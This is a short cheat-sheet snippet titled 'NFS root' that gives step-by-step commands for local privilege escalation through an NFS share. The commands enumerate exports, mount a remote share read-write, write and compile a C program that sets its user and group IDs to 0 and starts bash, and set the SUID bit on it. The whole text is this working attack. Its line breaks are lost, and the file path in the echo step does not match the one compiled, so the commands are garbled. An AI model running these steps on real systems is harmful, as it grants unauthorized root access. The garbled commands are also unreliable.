NFS root
cat /etc/exportsshowmount -e IPmkdir /tmp/mountme
mount -o rw,vers=2 192.168.4.67:/tmp /tmp/mountme <--- now its mountedecho 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/mountme.cgcc /tmp/mountme/x.c /tmp/mountme/x
(ignore warnings)chmod +s /tmp/mountme/xLast updated